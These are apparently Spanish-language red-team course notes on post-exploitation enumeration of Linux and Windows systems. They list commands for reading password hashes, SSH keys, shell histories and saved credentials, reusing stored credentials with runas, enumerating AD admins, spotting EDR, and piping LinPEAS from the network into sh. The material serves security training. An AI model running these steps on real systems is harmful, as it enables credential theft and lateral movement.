Red Team

Enumeración post-explotación

#endpoint#enumeration#network#redteam

Una vez obtenido un shell en el sistema objetivo, la enumeración post-explotación consiste en recopilar la mayor cantidad de información posible sobre el sistema y su red: sistema…

Definición

Una vez obtenido un shell en el sistema objetivo, la enumeración post-explotación consiste en recopilar la mayor cantidad de información posible sobre el sistema y su red: sistema operativo, usuarios, redes, procesos y servicios. El objetivo es encontrar credenciales, rutas de escalada de privilegios o vías de movimiento lateral.

Contexto

  • Se asume acceso a un shell (bash en Linux, cmd.exe/powershell.exe en Windows).
  • Las herramientas nativas del sistema son preferibles por ser sigilosas (no requieren subir binarios adicionales).
  • Scripts automatizados: WinPEAS (Windows) y LinPEAS (Linux) agilizan el proceso.
  • Esta nota forma parte del Red Team Path (THM) y complementa The Lay of the Land (THM).

Enumeración en Linux

Sistema

Terminal window
# Distribución y versión del kernel
ls /etc/*-release && cat /etc/os-release
uname -r # versión del kernel
# Nombre del host
hostname
# Variables de entorno (buscar paths, credenciales, configuraciones)
env
printenv
# Aplicaciones instaladas
ls /usr/bin/ /sbin/ # binarios disponibles
rpm -qa # paquetes RPM (RHEL, CentOS, Fedora)
dpkg -l # paquetes Debian/Ubuntu

Usuarios

Terminal window
# Ver usuarios locales
cat /etc/passwd # usuarios + home + shell
# Hashes de contraseñas (requiere root)
cat /etc/shadow
# Grupos
cat /etc/group
# Sesiones activas
who # quién está conectado
w # quién + qué hace
last # historial de logins
# Identidad propia
whoami
id # UID, GID, grupos efectivos
# Comandos sudo permitidos para el usuario actual
sudo -l
# Directorios de correo (datos potencialmente sensibles)
ls /var/mail/

Red

Terminal window
# Interfaces y direcciones IP
ip address show # o: ip a s
ifconfig -a # legacy
# Tabla de enrutamiento
ip route
netstat -rn
# Conexiones activas y puertos en escucha
ss -tulpn # moderno
netstat -tulpn # legacy
# Servidores DNS configurados
cat /etc/resolv.conf
# Tabla ARP (vecinos en la red)
arp -a
ip neigh
# Reglas de firewall (iptables)
iptables -L -n -v # requiere root/sudo

Archivos sensibles habituales en Linux

Ruta Contenido de interés
/etc/passwd Usuarios del sistema
/etc/shadow Hashes de contraseñas (root)
/etc/sudoers Configuración sudo
~/.bash_history Historial de comandos (contraseñas en claro)
~/.ssh/id_rsa Clave privada SSH → acceso a otros hosts
/var/mail/ Emails locales con posibles credenciales
/tmp/, /var/tmp/ Scripts/payloads subidos
find / -name "*.conf" 2>/dev/null Archivos de configuración
find / -perm -4000 2>/dev/null Binarios SUID (escalada de privs)

Enumeración en Windows

Sistema

Terminal window
# Información del sistema
systeminfo
Get-ComputerInfo
# Variables de entorno
Get-ChildItem Env:
[System.Environment]::GetEnvironmentVariables()
# Hostname y dominio
hostname
$env:COMPUTERNAME
$env:USERDOMAIN

Usuarios y grupos

Terminal window
# Usuarios locales
Get-LocalUser
net user
# Grupos locales
Get-LocalGroup
net localgroup
# Usuarios AD
Get-ADUser -Filter *
Get-ADUser -Filter * -SearchBase "OU=THM,DC=THMREDTEAM,DC=COM"
# Grupos AD
Get-ADGroup -Filter * | select Name
Get-ADGroupMember -Identity "Domain Admins"
# Sesiones activas (RDP/SMB)
query user
qwinsta

Red

Terminal window
# Interfaces y direcciones
ipconfig /all
Get-NetIPAddress
# Tabla de enrutamiento
route print
Get-NetRoute
# Conexiones activas
netstat -na
Get-NetTCPConnection
# Tabla ARP
arp -a
Get-NetNeighbor
# Shares de red
net share
Get-SmbShare
# DNS caché (hosts visitados recientemente)
ipconfig /displaydns
Get-DnsClientCache

Procesos y servicios

Terminal window
# Procesos en ejecución
Get-Process
tasklist /svc # con nombre de servicio
# Servicios instalados
Get-Service
sc query type= all
# Scheduled tasks
schtasks /query /fo LIST /v
Get-ScheduledTask | Where-Object {$_.State -eq "Ready"}

Historial y credenciales guardadas

Terminal window
# Historial de PowerShell (puede contener contraseñas en claro)
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
# Credenciales guardadas en Windows Credential Manager
cmdkey /list
# Usar credencial guardada (si cmdkey muestra una)
runas /savecred /user:DOMINIO\usuario "cmd.exe"
# Configuración IIS (puede contener connection strings con credenciales)
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString
type C:\inetpub\wwwroot\web.config | findstr password

Automatización: WinPEAS / LinPEAS

Terminal window
# LinPEAS — en la máquina víctima Linux
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
# WinPEAS — en la máquina víctima Windows
.\winPEAS.exe | Tee-Object -FilePath C:\Temp\winpeas_output.txt

Estas herramientas resaltan en colores:

  • 🔴 Rojo: alta probabilidad de escalada de privilegios
  • 🟡 Amarillo: revisar manualmente
  • 🟢 Verde: información del entorno

Pitfalls / Errores comunes

  • Ejecutar WinPEAS/LinPEAS sin redirect → salida se pierde; siempre guardar output.
  • No revisar ~/.bash_history o historial PowerShell → fuente frecuente de credenciales en texto claro.
  • Ignorar shares de red (net share) → pueden contener archivos con credenciales o ser rutas de movimiento lateral.
  • Olvidar revisar los procesos para identificar soluciones EDR activas antes de subir herramientas.
  • No enumerar usuarios AD cuando el host está unido al dominio → se pierde el contexto completo.

Integración con otras notas

Diagrama

flowchart LR
    A[Shell obtenido] --> B{OS?}
    B -->|Linux| C[Sistema: uname, /etc/os-release]
    B -->|Windows| D[Sistema: systeminfo, Get-ComputerInfo]
    C --> E[Usuarios: /etc/passwd, id, sudo -l]
    C --> F[Red: ip a, ss, /etc/resolv.conf, arp]
    C --> G[Archivos: .ssh, .bash_history, SUID]
    D --> H[Usuarios: Get-LocalUser, Get-ADUser]
    D --> I[Red: ipconfig, netstat, net share]
    D --> J[Creds: historial PS, cmdkey, web.config]
    E & F & G & H & I & J --> K[WinPEAS/LinPEAS para automatizar]
    K --> L[Rutas de PrivEsc y Movimiento Lateral]

Referencias

  1. TryHackMe — Enumeration: https://tryhackme.com/room/enumerationpe
  2. WinPEAS/LinPEAS (PEASS-ng): https://github.com/carlospolop/PEASS-ng
  3. LinPEAS online: https://grimbins.github.io/grimbins/linpeas/
  4. MITRE T1087 Account Discovery: https://attack.mitre.org/techniques/T1087/
  5. MITRE T1049 Network Connections: https://attack.mitre.org/techniques/T1049/
Título original en mis apuntes: Post-Exploitation Enumeration (THM)